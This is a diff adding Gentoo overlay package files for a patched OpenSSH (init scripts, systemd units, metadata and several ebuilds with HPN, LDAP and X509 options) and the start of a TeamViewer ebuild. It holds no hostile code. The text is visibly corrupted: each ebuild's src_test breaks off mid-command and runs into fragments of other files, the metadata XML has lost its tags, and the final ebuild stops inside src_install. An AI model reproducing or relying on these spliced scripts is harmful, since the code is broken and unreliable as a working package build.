+extra_started_commands="reload" + +depend() { + use logger dns + need net +} + +SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh} +SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid} +SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd} + +checkconfig() { + if [ ! -d /var/empty ] ; then + mkdir -p /var/empty || return 1 + fi + + if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then + eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd" + eerror "There is a sample file in /usr/share/doc/openssh" + return 1 + fi + + gen_keys || return 1 + + [ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \ + && SSHD_OPTS="${SSHD_OPTS} -o PidFile=${SSHD_PIDFILE}" + [ "${SSHD_CONFDIR}" != "/etc/ssh" ] \ + && SSHD_OPTS="${SSHD_OPTS} -f ${SSHD_CONFDIR}/sshd_config" + + "${SSHD_BINARY}" -t ${SSHD_OPTS} || return 1 +} + +gen_key() { + local type=$1 key ks + [ $# -eq 1 ] && ks="${type}_" + key="${SSHD_CONFDIR}/ssh_host_${ks}key" + if [ ! -e "${key}" ] ; then + ebegin "Generating ${type} host key" + ssh-keygen -t ${type} -f "${key}" -N '' + eend $? || return $? + fi +} + +gen_keys() { + if egrep -q '^[[:space:]]*Protocol[[:space:]]+.*1' "${SSHD_CONFDIR}"/sshd_config ; then + gen_key rsa1 "" || return 1 + fi + gen_key dsa && gen_key rsa && gen_key ecdsa + return $? +} + +start() { + checkconfig || return 1 + + ebegin "Starting ${SVCNAME}" + start-stop-daemon --start --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" \ + -- ${SSHD_OPTS} + eend $? +} + +stop() { + if [ "${RC_CMD}" = "restart" ] ; then + checkconfig || return 1 + fi + + ebegin "Stopping ${SVCNAME}" + start-stop-daemon --stop --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" --quiet + eend $? +} + +reload() { + checkconfig || return 1 + ebegin "Reloading ${SVCNAME}" + start-stop-daemon --stop --signal HUP --oknodo \ + --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}" + eend $? +} diff --git a/net-misc/openssh-x/files/sshd.rc6.3 b/net-misc/openssh-x/files/sshd.rc6.3 new file mode 100755 index 00000000..c55116e9 --- /dev/null +++ b/net-misc/openssh-x/files/sshd.rc6.3 @@ -0,0 +1,85 @@ +#!/sbin/runscript +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6.3,v 1.2 2011/09/14 21:46:19 polynomial-c Exp $ + +extra_commands="checkconfig gen_keys" +extra_started_commands="reload" + +depend() { + use logger dns + need net +} + +SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh} +SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid} +SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd} + +checkconfig() { + if [ ! -d /var/empty ] ; then + mkdir -p /var/empty || return 1 + fi + + if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then + eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd" + eerror "There is a sample file in /usr/share/doc/openssh" + return 1 + fi + + gen_keys || return 1 + + [ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \ + && SSHD_OPTS="${SSHD_OPTS} -o PidFile=${SSHD_PIDFILE}" + [ "${SSHD_CONFDIR}" != "/etc/ssh" ] \ + && SSHD_OPTS="${SSHD_OPTS} -f ${SSHD_CONFDIR}/sshd_config" + + "${SSHD_BINARY}" -t ${SSHD_OPTS} || return 1 +} + +gen_key() { + local type=$1 key ks + [ $# -eq 1 ] && ks="${type}_" + key="${SSHD_CONFDIR}/ssh_host_${ks}key" + if [ ! -e "${key}" ] ; then + ebegin "Generating ${type} host key" + ssh-keygen -t ${type} -f "${key}" -N '' + eend $? || return $? + fi +} + +gen_keys() { + if egrep -q '^[[:space:]]*Protocol[[:space:]]+.*1' "${SSHD_CONFDIR}"/sshd_config ; then + gen_key rsa1 "" || return 1 + fi + gen_key dsa && gen_key rsa && gen_key ecdsa + return $? +} + +start() { + checkconfig || return 1 + + ebegin "Starting ${SVCNAME}" + start-stop-daemon --start --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" \ + -- ${SSHD_OPTS} + eend $? +} + +stop() { + if [ "${RC_CMD}" = "restart" ] ; then + checkconfig || return 1 + fi + + ebegin "Stopping ${SVCNAME}" + start-stop-daemon --stop --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" --quiet + eend $? +} + +reload() { + checkconfig || return 1 + ebegin "Reloading ${SVCNAME}" + start-stop-daemon --signal HUP \ + --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}" + eend $? +} diff --git a/net-misc/openssh-x/files/sshd.service b/net-misc/openssh-x/files/sshd.service new file mode 100644 index 00000000..45f823ac --- /dev/null +++ b/net-misc/openssh-x/files/sshd.service @@ -0,0 +1,10 @@ +[Unit] +Description=OpenSSH server daemon +After=syslog.target network.target auditd.service + +[Service] +ExecStart=/usr/sbin/sshd -D -e +ExecReload=/bin/kill -HUP $MAINPID + +[Install] +WantedBy=multi-user.target diff --git a/net-misc/openssh-x/files/sshd.socket b/net-misc/openssh-x/files/sshd.socket new file mode 100644 index 00000000..94b95331 --- /dev/null +++ b/net-misc/openssh-x/files/sshd.socket @@ -0,0 +1,10 @@ +[Unit] +Description=OpenSSH Server Socket +Conflicts=sshd.service + +[Socket] +ListenStream=22 +Accept=yes + +[Install] +WantedBy=sockets.target diff --git a/net-misc/openssh-x/files/sshd_at.service b/net-misc/openssh-x/files/sshd_at.service new file mode 100644 index 00000000..2645ad04 --- /dev/null +++ b/net-misc/openssh-x/files/sshd_at.service @@ -0,0 +1,8 @@ +[Unit] +Description=OpenSSH per-connection server daemon +After=syslog.target auditd.service + +[Service] +ExecStart=-/usr/sbin/sshd -i -e +StandardInput=socket +StandardError=syslog diff --git a/net-misc/openssh-x/metadata.xml b/net-misc/openssh-x/metadata.xml new file mode 100644 index 00000000..a7517337 --- /dev/null +++ b/net-misc/openssh-x/metadata.xml @@ -0,0 +1,28 @@ + + + + base-system + + robbat2@gentoo.org + LPK issues. Only assign if it's a direct LPK issue. Do not directly assign for anything else. + + +OpenSSH is a FREE version of the SSH protocol suite of network connectivity tools that +increasing numbers of people on the Internet are coming to rely on. Many users of telnet, +rlogin, ftp, and other such programs might not realize that their password is transmitted +across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) +to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks. +Additionally, OpenSSH provides a myriad of secure tunneling capabilities, as well as a variety +of authentication methods. + +The OpenSSH suite includes the ssh program which replaces rlogin and telnet, scp which +replaces rcp, and sftp which replaces ftp. Also included is sshd which is the server side of +the package, and the other basic utilities like ssh-add, ssh-agent, ssh-keysign, ssh-keyscan, +ssh-keygen and sftp-server. OpenSSH supports SSH protocol versions 1.3, 1.5, and 2.0. + + + Enable high performance ssh + Add support for storing SSH public keys in LDAP + Adds support for X.509 certificate authentication + + diff --git a/net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild b/net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild new file mode 100644 index 00000000..66f79c8b --- /dev/null +++ b/net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild @@ -0,0 +1,294 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/openssh-6.0_p1-r1.ebuild,v 1.1 2012/06/08 05:43:01 vapier Exp $ + +EAPI="2" +inherit eutils user flag-o-matic multilib autotools pam systemd + +# Make it more portable between straight releases +# and _p? releases. +PARCH=${P/_} + +HPN_PATCH="${PARCH}-hpn13v11.diff.bz2" +LDAP_PATCH="${PARCH/-/-lpk-}-0.3.14.patch.gz" +X509_VER="7.1" X509_PATCH="${PARCH}+x509-${X509_VER}.diff.gz" + +DESCRIPTION="Port of OpenBSD's free SSH release" +HOMEPAGE="http://www.openssh.org/" +SRC_URI="mirror://openbsd/OpenSSH/portable/${PARCH}.tar.gz + ${HPN_PATCH:+hpn? ( http://www.psc.edu/networking/projects/hpn-ssh/${HPN_PATCH} mirror://gentoo/${HPN_PATCH} )} + ${LDAP_PATCH:+ldap? ( mirror://gentoo/${LDAP_PATCH} )} + ${X509_PATCH:+X509? ( http://roumenpetrov.info/openssh/x509-${X509_VER}/${X509_PATCH} )} + " + +LICENSE="as-is" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd" +IUSE="${HPN_PATCH:++}hpn kerberos ldap libedit pam selinux skey static tcpd X X509" + +RDEPEND="pam? ( virtual/pam ) + kerberos? ( virtual/krb5 ) + selinux? ( >=sys-libs/libselinux-1.28 ) + skey? ( >=sys-auth/skey-1.1.5-r1 ) + ldap? ( net-nds/openldap ) + libedit? ( dev-libs/libedit ) + >=dev-libs/openssl-0.9.6d + >=sys-libs/zlib-1.2.3 + tcpd? ( >=sys-apps/tcp-wrappers-7.6 ) + X? ( x11-apps/xauth ) + userland_GNU? ( virtual/shadow )" +DEPEND="${RDEPEND} + virtual/pkgconfig + virtual/os-headers + sys-devel/autoconf" +RDEPEND="${RDEPEND} + pam? ( >=sys-auth/pambase-20081028 )" + +S=${WORKDIR}/${PARCH} + +pkg_setup() { + # this sucks, but i'd rather have people unable to `emerge -u openssh` + # than not be able to log in to their server any more + maybe_fail() { [[ -z ${!2} ]] && echo ${1} ; } + local fail=" + $(use X509 && maybe_fail X509 X509_PATCH) + $(use ldap && maybe_fail ldap LDAP_PATCH) + $(use hpn && maybe_fail hpn HPN_PATCH) + " + fail=$(echo ${fail}) + if [[ -n ${fail} ]] ; then + eerror "Sorry, but this version does not yet support features" + eerror "that you requested: ${fail}" + eerror "Please mask ${PF} for now and check back later:" + eerror " # echo '=${CATEGORY}/${PF}' >> /etc/portage/package.mask" + die "booooo" + fi +} + +save_version() { + # version.h patch conflict avoidence + mv version.h version.h.$1 + cp -f version.h.pristine version.h +} + +src_prepare() { + sed -i \ + -e '/_PATH_XAUTH/s:/usr/X11R6/bin/xauth:/usr/bin/xauth:' \ + pathnames.h || die + # keep this as we need it to avoid the conflict between LPK and HPN changing + # this file. + cp version.h version.h.pristine + + # don't break .ssh/authorized_keys2 for fun + sed -i '/^AuthorizedKeysFile/s:^:#:' sshd_config || die + + epatch "${FILESDIR}"/${PN}-5.9_p1-sshd-gssapi-multihomed.patch #378361 + if use X509 ; then + pushd .. >/dev/null + epatch "${FILESDIR}"/${PN}-6.0_p1-x509-glue.patch + popd >/dev/null + epatch "${WORKDIR}"/${X509_PATCH%.*} + epatch "${FILESDIR}"/${PN}-6.0_p1-x509-hpn-glue.patch + save_version X509 + fi + if ! use X509 ; then + if [[ -n ${LDAP_PATCH} ]] && use ldap ; then + epatch "${WORKDIR}"/${LDAP_PATCH%.*} + save_version LPK + fi + else + use ldap && ewarn "Sorry, X509 and LDAP conflict internally, disabling LDAP" + fi + epatch "${FILESDIR}"/${PN}-6.0_p1-test.patch #391011 + epatch "${FILESDIR}"/${PN}-6.0_p1-fix-freebsd-compilation.patch #391011 + epatch "${FILESDIR}"/${PN}-4.7_p1-GSSAPI-dns.patch #165444 integrated into gsskex + if [[ -n ${HPN_PATCH} ]] && use hpn; then + epatch "${WORKDIR}"/${HPN_PATCH%.*} + epatch "${FILESDIR}"/${PN}-5.6_p1-hpn-progressmeter.patch + save_version HPN + # The AES-CTR multithreaded variant is broken, and causes random hangs + # when combined background threading and control sockets. To avoid + # this, we change the internal table to use the non-multithread version + # for the meantime. Do NOT remove this in new versions. See bug #354113 + # comment #6 for testcase. + # Upstream reference: http://www.psc.edu/networking/projects/hpn-ssh/ + ## Additionally, the MT-AES-CTR mode cipher replaces the default ST-AES-CTR mode + ## cipher. Be aware that if the client process is forked using the -f command line + ## option the process will hang as the parent thread gets 'divorced' from the key + ## generation threads. This issue will be resolved as soon as possible + sed -i \ + -e '/aes...-ctr.*SSH_CIPHER_SSH2/s,evp_aes_ctr_mt,evp_aes_128_ctr,' \ + cipher.c || die + fi + + sed -i "s:-lcrypto:$(pkg-config --libs openssl):" configure{,.ac} || die + + # Disable PATH reset, trust what portage gives us. bug 254615 + sed -i -e 's:^PATH=/:#PATH=/:' configure || die + + # Now we can build a sane merged version.h + ( + sed '/^#define SSH_RELEASE/d' version.h.* | sort -u + macros=() + for p in HPN LPK X509 ; do [ -e version.h.${p} ] && macros+=( SSH_${p} ) ; done + printf '#define SSH_RELEASE SSH_VERSION SSH_PORTABLE %s\n' "${macros}" + ) > version.h + + eautoreconf +} + +static_use_with() { + local flag=$1 + if use static && use ${flag} ; then + ewarn "Disabling '${flag}' support because of USE='static'" + # rebuild args so that we invert the first one (USE flag) + # but otherwise leave everything else working so we can + # just leverage use_with + shift + [[ -z $1 ]] && flag="${flag} ${flag}" + set -- !${flag} "$@" + fi + use_with "$@" +} + +src_configure() { + addwrite /dev/ptmx + addpredict /etc/skey/skeykeys #skey configure code triggers this + + use static && append-ldflags -static + + econf \ + --with-ldflags="${LDFLAGS}" \ + --disable-strip \ + --sysconfdir=/etc/ssh \ + --libexecdir=/usr/$(get_libdir)/misc \ + --datadir=/usr/share/openssh \ + --with-privsep-path=/var/empty \ + --with-privsep-user=sshd \ + --with-md5-passwords \ + --with-ssl-engine \ + $(static_use_with pam) \ + $(static_use_with kerberos kerberos5 /usr) \ + ${LDAP_PATCH:+$(use X509 || ( use ldap && use_with ldap ))} \ + $(use_with libedit) \ + $(use_with selinux) \ + $(use_with skey) \ + $(use_with tcpd tcp-wrappers) +} + +src_install() { + emake install-nokeys DESTDIR="${D}" || die + fperms 600 /etc/ssh/sshd_config + dobin contrib/ssh-copy-id || die + newinitd "${FILESDIR}"/sshd.rc6.3 sshd + newconfd "${FILESDIR}"/sshd.confd sshd + keepdir /var/empty + + # not all openssl installs support ecc, or are functional #352645 + if ! grep -q '#define OPENSSL_HAS_ECC 1' config.h ; then + elog "dev-libs/openssl was built with 'bindist' - disabling ecdsa support" + dosed 's:&& gen_key ecdsa::' /etc/init.d/sshd || die + fi + + newpamd "${FILESDIR}"/sshd.pam_include.2 sshd + if use pam ; then + sed -i \ + -e "/^#UsePAM /s:.*:UsePAM yes:" \ + -e "/^#PasswordAuthentication /s:.*:PasswordAuthentication no:" \ + -e "/^#PrintMotd /s:.*:PrintMotd no:" \ + -e "/^#PrintLastLog /s:.*:PrintLastLog no:" \ + "${D}"/etc/ssh/sshd_config || die "sed of configuration file failed" + fi + + # Gentoo tweaks to default config files + cat <<-EOF >> "${D}"/etc/ssh/sshd_config + + # Allow client to pass locale environment variables #367017 + AcceptEnv LANG LC_* + EOF + cat <<-EOF >> "${D}"/etc/ssh/ssh_config + + # Send locale environment variables #367017 + SendEnv LANG LC_* + EOF + + # This instruction is from the HPN webpage, + # Used for the server logging functionality + if [[ -n ${HPN_PATCH} ]] && use hpn ; then + keepdir /var/empty/dev + fi + + if use ldap ; then + insinto /etc/openldap/schema/ + newins openssh-lpk_openldap.schema openssh-lpk.schema + fi + + doman contrib/ssh-copy-id.1 + dodoc ChangeLog CREDITS OVERVIEW README* TODO sshd_config + + diropts -m 0700 + dodir /etc/skel/.ssh + + systemd_dounit "${FILESDIR}"/sshd.{service,socket} || die + systemd_newunit "${FILESDIR}"/sshd_at.service 'sshd@.service' || die +} + +src_test() { + local t tests skipped failed passed shell + tests="interop-tests compat-tests" + skipped="" + shell=$(egetshell ${UID}) + if [[ ${shell} == */nologin ]] || [[ ${shell} == */false ]] ; then + elog "Running the full OpenSSH testsuite" + elog "requires a usable shell for the 'portage'" + elog "user, so we will run a subset only." + skipped="${skipped} tests" + else + tests="${tests} tests" + fi + # It will also attempt to write to the homedir .ssh + local sshhome=${T}/homedir + mkdir -p "${sshhome}"/.ssh + for t in ${tests} ; do + # Some tests read from stdin ... + HOMEDIR="${sshhome}" \ + emake -k -j1 ${t} > /etc/portage/package.mask" + die "booooo" + fi +} + +save_version() { + # version.h patch conflict avoidence + mv version.h version.h.$1 + cp -f version.h.pristine version.h +} + +src_prepare() { + sed -i \ + -e '/_PATH_XAUTH/s:/usr/X11R6/bin/xauth:/usr/bin/xauth:' \ + pathnames.h || die + # keep this as we need it to avoid the conflict between LPK and HPN changing + # this file. + cp version.h version.h.pristine + + # don't break .ssh/authorized_keys2 for fun + sed -i '/^AuthorizedKeysFile/s:^:#:' sshd_config || die + + epatch "${FILESDIR}"/${PN}-5.9_p1-sshd-gssapi-multihomed.patch #378361 + if use X509 ; then + pushd .. >/dev/null + epatch "${FILESDIR}"/${PN}-6.0_p1-x509-glue.patch + popd >/dev/null + epatch "${WORKDIR}"/${X509_PATCH%.*} + epatch "${FILESDIR}"/${PN}-6.0_p1-x509-hpn-glue.patch + save_version X509 + fi + if ! use X509 ; then + if [[ -n ${LDAP_PATCH} ]] && use ldap ; then + epatch "${WORKDIR}"/${LDAP_PATCH%.*} + save_version LPK + fi + else + use ldap && ewarn "Sorry, X509 and LDAP conflict internally, disabling LDAP" + fi + epatch "${FILESDIR}"/${PN}-6.0_p1-test.patch #391011 + epatch "${FILESDIR}"/${PN}-6.0_p1-fix-freebsd-compilation.patch #391011 + epatch "${FILESDIR}"/${PN}-4.7_p1-GSSAPI-dns.patch #165444 integrated into gsskex + if [[ -n ${HPN_PATCH} ]] && use hpn; then + epatch "${WORKDIR}"/${HPN_PATCH%.*} + epatch "${FILESDIR}"/${PN}-6.0_p1-hpn-progressmeter.patch + save_version HPN + # The AES-CTR multithreaded variant is broken, and causes random hangs + # when combined background threading and control sockets. To avoid + # this, we change the internal table to use the non-multithread version + # for the meantime. Do NOT remove this in new versions. See bug #354113 + # comment #6 for testcase. + # Upstream reference: http://www.psc.edu/networking/projects/hpn-ssh/ + ## Additionally, the MT-AES-CTR mode cipher replaces the default ST-AES-CTR mode + ## cipher. Be aware that if the client process is forked using the -f command line + ## option the process will hang as the parent thread gets 'divorced' from the key + ## generation threads. This issue will be resolved as soon as possible + sed -i \ + -e '/aes...-ctr.*SSH_CIPHER_SSH2/s,evp_aes_ctr_mt,evp_aes_128_ctr,' \ + cipher.c || die + fi + + sed -i "s:-lcrypto:$(pkg-config --libs openssl):" configure{,.ac} || die + + # Disable PATH reset, trust what portage gives us. bug 254615 + sed -i -e 's:^PATH=/:#PATH=/:' configure || die + + # Now we can build a sane merged version.h + ( + sed '/^#define SSH_RELEASE/d' version.h.* | sort -u + macros=() + for p in HPN LPK X509 ; do [ -e version.h.${p} ] && macros+=( SSH_${p} ) ; done + printf '#define SSH_RELEASE SSH_VERSION SSH_PORTABLE %s\n' "${macros}" + ) > version.h + + eautoreconf +} + +static_use_with() { + local flag=$1 + if use static && use ${flag} ; then + ewarn "Disabling '${flag}' support because of USE='static'" + # rebuild args so that we invert the first one (USE flag) + # but otherwise leave everything else working so we can + # just leverage use_with + shift + [[ -z $1 ]] && flag="${flag} ${flag}" + set -- !${flag} "$@" + fi + use_with "$@" +} + +src_configure() { + addwrite /dev/ptmx + addpredict /etc/skey/skeykeys #skey configure code triggers this + + use static && append-ldflags -static + + econf \ + --with-ldflags="${LDFLAGS}" \ + --disable-strip \ + --sysconfdir=/etc/ssh \ + --libexecdir=/usr/$(get_libdir)/misc \ + --datadir=/usr/share/openssh \ + --with-privsep-path=/var/empty \ + --with-privsep-user=sshd \ + --with-md5-passwords \ + --with-ssl-engine \ + $(static_use_with pam) \ + $(static_use_with kerberos kerberos5 /usr) \ + ${LDAP_PATCH:+$(use X509 || ( use ldap && use_with ldap ))} \ + $(use_with libedit) \ + $(use_with selinux) \ + $(use_with skey) \ + $(use_with tcpd tcp-wrappers) +} + +src_install() { + emake install-nokeys DESTDIR="${D}" || die + fperms 600 /etc/ssh/sshd_config + dobin contrib/ssh-copy-id || die + newinitd "${FILESDIR}"/sshd.rc6.3 sshd + newconfd "${FILESDIR}"/sshd.confd sshd + keepdir /var/empty + + # not all openssl installs support ecc, or are functional #352645 + if ! grep -q '#define OPENSSL_HAS_ECC 1' config.h ; then + elog "dev-libs/openssl was built with 'bindist' - disabling ecdsa support" + dosed 's:&& gen_key ecdsa::' /etc/init.d/sshd || die + fi + + newpamd "${FILESDIR}"/sshd.pam_include.2 sshd + if use pam ; then + sed -i \ + -e "/^#UsePAM /s:.*:UsePAM yes:" \ + -e "/^#PasswordAuthentication /s:.*:PasswordAuthentication no:" \ + -e "/^#PrintMotd /s:.*:PrintMotd no:" \ + -e "/^#PrintLastLog /s:.*:PrintLastLog no:" \ + "${D}"/etc/ssh/sshd_config || die "sed of configuration file failed" + fi + + # Gentoo tweaks to default config files + cat <<-EOF >> "${D}"/etc/ssh/sshd_config + + # Allow client to pass locale environment variables #367017 + AcceptEnv LANG LC_* + EOF + cat <<-EOF >> "${D}"/etc/ssh/ssh_config + + # Send locale environment variables #367017 + SendEnv LANG LC_* + EOF + + # This instruction is from the HPN webpage, + # Used for the server logging functionality + if [[ -n ${HPN_PATCH} ]] && use hpn ; then + keepdir /var/empty/dev + fi + + if use ldap ; then + insinto /etc/openldap/schema/ + newins openssh-lpk_openldap.schema openssh-lpk.schema + fi + + doman contrib/ssh-copy-id.1 + dodoc ChangeLog CREDITS OVERVIEW README* TODO sshd_config + + diropts -m 0700 + dodir /etc/skel/.ssh + + systemd_dounit "${FILESDIR}"/sshd.{service,socket} || die + systemd_newunit "${FILESDIR}"/sshd_at.service 'sshd@.service' || die +} + +src_test() { + local t tests skipped failed passed shell + tests="interop-tests compat-tests" + skipped="" + shell=$(egetshell ${UID}) + if [[ ${shell} == */nologin ]] || [[ ${shell} == */false ]] ; then + elog "Running the full OpenSSH testsuite" + elog "requires a usable shell for the 'portage'" + elog "user, so we will run a subset only." + skipped="${skipped} tests" + else + tests="${tests} tests" + fi + # It will also attempt to write to the homedir .ssh + local sshhome=${T}/homedir + mkdir -p "${sshhome}"/.ssh + for t in ${tests} ; do + # Some tests read from stdin ... + HOMEDIR="${sshhome}" \ + emake -k -j1 ${t} > /etc/portage/package.mask" + die "booooo" + fi +} + +save_version() { + # version.h patch conflict avoidence + mv version.h version.h.$1 + cp -f version.h.pristine version.h +} + +src_prepare() { + sed -i \ + -e '/_PATH_XAUTH/s:/usr/X11R6/bin/xauth:/usr/bin/xauth:' \ + pathnames.h || die + # keep this as we need it to avoid the conflict between LPK and HPN changing + # this file. + cp version.h version.h.pristine + + # don't break .ssh/authorized_keys2 for fun + sed -i '/^AuthorizedKeysFile/s:^:#:' sshd_config || die + + epatch "${FILESDIR}"/${MY_PN}-5.9_p1-sshd-gssapi-multihomed.patch #378361 + if use X509 ; then + pushd .. >/dev/null + epatch "${FILESDIR}"/${MY_PN}-6.1_p1-x509-glue.patch + popd >/dev/null + epatch "${WORKDIR}"/${X509_PATCH%.*} + epatch "${FILESDIR}"/${MY_PN}-6.1_p1-x509-hpn-glue.patch + save_version X509 + fi + if ! use X509 ; then + if [[ -n ${LDAP_PATCH} ]] && use ldap ; then + epatch "${WORKDIR}"/${LDAP_PATCH%.*} + save_version LPK + fi + else + use ldap && ewarn "Sorry, X509 and LDAP conflict internally, disabling LDAP" + fi + epatch "${FILESDIR}"/${MY_PN}-6.0_p1-fix-freebsd-compilation.patch #391011 + epatch "${FILESDIR}"/${MY_PN}-4.7_p1-GSSAPI-dns.patch #165444 integrated into gsskex + if [[ -n ${HPN_PATCH} ]] && use hpn; then + epatch "${WORKDIR}"/${HPN_PATCH%.*} + epatch "${FILESDIR}"/${MY_PN}-5.6_p1-hpn-progressmeter.patch + save_version HPN + # The AES-CTR multithreaded variant is broken, and causes random hangs + # when combined background threading and control sockets. To avoid + # this, we change the internal table to use the non-multithread version + # for the meantime. Do NOT remove this in new versions. See bug #354113 + # comment #6 for testcase. + # Upstream reference: http://www.psc.edu/networking/projects/hpn-ssh/ + ## Additionally, the MT-AES-CTR mode cipher replaces the default ST-AES-CTR mode + ## cipher. Be aware that if the client process is forked using the -f command line + ## option the process will hang as the parent thread gets 'divorced' from the key + ## generation threads. This issue will be resolved as soon as possible + sed -i \ + -e '/aes...-ctr.*SSH_CIPHER_SSH2/s,evp_aes_ctr_mt,evp_aes_128_ctr,' \ + cipher.c || die + fi + + sed -i "s:-lcrypto:$(pkg-config --libs openssl):" configure{,.ac} || die + + # Disable PATH reset, trust what portage gives us. bug 254615 + sed -i -e 's:^PATH=/:#PATH=/:' configure || die + + # Now we can build a sane merged version.h + ( + sed '/^#define SSH_RELEASE/d' version.h.* | sort -u + macros=() + for p in HPN LPK X509 ; do [ -e version.h.${p} ] && macros+=( SSH_${p} ) ; done + printf '#define SSH_RELEASE SSH_VERSION SSH_PORTABLE %s\n' "${macros}" + ) > version.h + + eautoreconf +} + +static_use_with() { + local flag=$1 + if use static && use ${flag} ; then + ewarn "Disabling '${flag}' support because of USE='static'" + # rebuild args so that we invert the first one (USE flag) + # but otherwise leave everything else working so we can + # just leverage use_with + shift + [[ -z $1 ]] && flag="${flag} ${flag}" + set -- !${flag} "$@" + fi + use_with "$@" +} + +src_configure() { + addwrite /dev/ptmx + addpredict /etc/skey/skeykeys #skey configure code triggers this + + use static && append-ldflags -static + + econf \ + --with-ldflags="${LDFLAGS}" \ + --disable-strip \ + --sysconfdir=/etc/ssh \ + --libexecdir=/usr/$(get_libdir)/misc \ + --datadir=/usr/share/openssh \ + --with-privsep-path=/var/empty \ + --with-privsep-user=sshd \ + --with-md5-passwords \ + --with-ssl-engine \ + $(static_use_with pam) \ + $(static_use_with kerberos kerberos5 /usr) \ + ${LDAP_PATCH:+$(use X509 || ( use ldap && use_with ldap ))} \ + $(use_with libedit) \ + $(use_with selinux) \ + $(use_with skey) \ + $(use_with tcpd tcp-wrappers) +} + +src_install() { + emake install-nokeys DESTDIR="${D}" || die + fperms 600 /etc/ssh/sshd_config + dobin contrib/ssh-copy-id || die + newinitd "${FILESDIR}"/sshd.rc6.3 sshd + newconfd "${FILESDIR}"/sshd.confd sshd + keepdir /var/empty + + # not all openssl installs support ecc, or are functional #352645 + if ! grep -q '#define OPENSSL_HAS_ECC 1' config.h ; then + elog "dev-libs/openssl was built with 'bindist' - disabling ecdsa support" + dosed 's:&& gen_key ecdsa::' /etc/init.d/sshd || die + fi + + newpamd "${FILESDIR}"/sshd.pam_include.2 sshd + if use pam ; then + sed -i \ + -e "/^#UsePAM /s:.*:UsePAM yes:" \ + -e "/^#PasswordAuthentication /s:.*:PasswordAuthentication no:" \ + -e "/^#PrintMotd /s:.*:PrintMotd no:" \ + -e "/^#PrintLastLog /s:.*:PrintLastLog no:" \ + "${D}"/etc/ssh/sshd_config || die "sed of configuration file failed" + fi + + # Gentoo tweaks to default config files + cat <<-EOF >> "${D}"/etc/ssh/sshd_config + + # Allow client to pass locale environment variables #367017 + AcceptEnv LANG LC_* + EOF + cat <<-EOF >> "${D}"/etc/ssh/ssh_config + + # Send locale environment variables #367017 + SendEnv LANG LC_* + EOF + + # This instruction is from the HPN webpage, + # Used for the server logging functionality + if [[ -n ${HPN_PATCH} ]] && use hpn ; then + keepdir /var/empty/dev + fi + + if use ldap ; then + insinto /etc/openldap/schema/ + newins openssh-lpk_openldap.schema openssh-lpk.schema + fi + + doman contrib/ssh-copy-id.1 + dodoc ChangeLog CREDITS OVERVIEW README* TODO sshd_config + + diropts -m 0700 + dodir /etc/skel/.ssh + + systemd_dounit "${FILESDIR}"/sshd.{service,socket} || die + systemd_newunit "${FILESDIR}"/sshd_at.service 'sshd@.service' || die +} + +src_test() { + local t tests skipped failed passed shell + tests="interop-tests compat-tests" + skipped="" + shell=$(egetshell ${UID}) + if [[ ${shell} == */nologin ]] || [[ ${shell} == */false ]] ; then + elog "Running the full OpenSSH testsuite" + elog "requires a usable shell for the 'portage'" + elog "user, so we will run a subset only." + skipped="${skipped} tests" + else + tests="${tests} tests" + fi + # It will also attempt to write to the homedir .ssh + local sshhome=${T}/homedir + mkdir -p "${sshhome}"/.ssh + for t in ${tests} ; do + # Some tests read from stdin ... + HOMEDIR="${sshhome}" \ + emake -k -j1 ${t} teamviewer || die + echo "/usr/bin/wine /opt/teamviewer/TeamViewer.exe" >> teamviewer || die + insinto /usr/bin + dobin teamviewer + + dodoc linux_FAQ_{EN,DE}.txt + dodoc CopyRights_{EN,DE}.txt + + make_desktop_entry ${PN} TeamViewer ${PN} +} diff --git a/net-misc/teamviewer/teamviewer-7.0.9377.ebuild b/net-misc/teamviewer/teamviewer-7.0.9377.ebuild new file mode 100644 index 00000000..130c5270 --- /dev/null +++ b/net-misc/teamviewer/teamviewer-7.0.9377.ebuild @@ -0,0 +1,52 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils + +# Major version +MV=${PV/\.*} + +DESCRIPTION="the All-In-One Solution for Remote Access and Support over the Internet" +HOMEPAGE="http://www.teamviewer.com" +SRC_URI="http://www.teamviewer.com/download/${PN}_linux.tar.gz -> ${P}.tar.gz" + +LICENSE="TeamViewerNovember2011" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RESTRICT="mirror strip" + +RDEPEND=" + app-emulation/wine +" + +S="${WORKDIR}/teamviewer${MV}" + +pkg_setup() { + elog "This ebuild installs the TeamViewer binary and libraries and relies on" + elog "Gentoo's wine package to run the actual program." + elog + elog "If you encounter any problems, consider running TeamViewer with the" + elog "bundled wine package manually." +} + +src_install() { 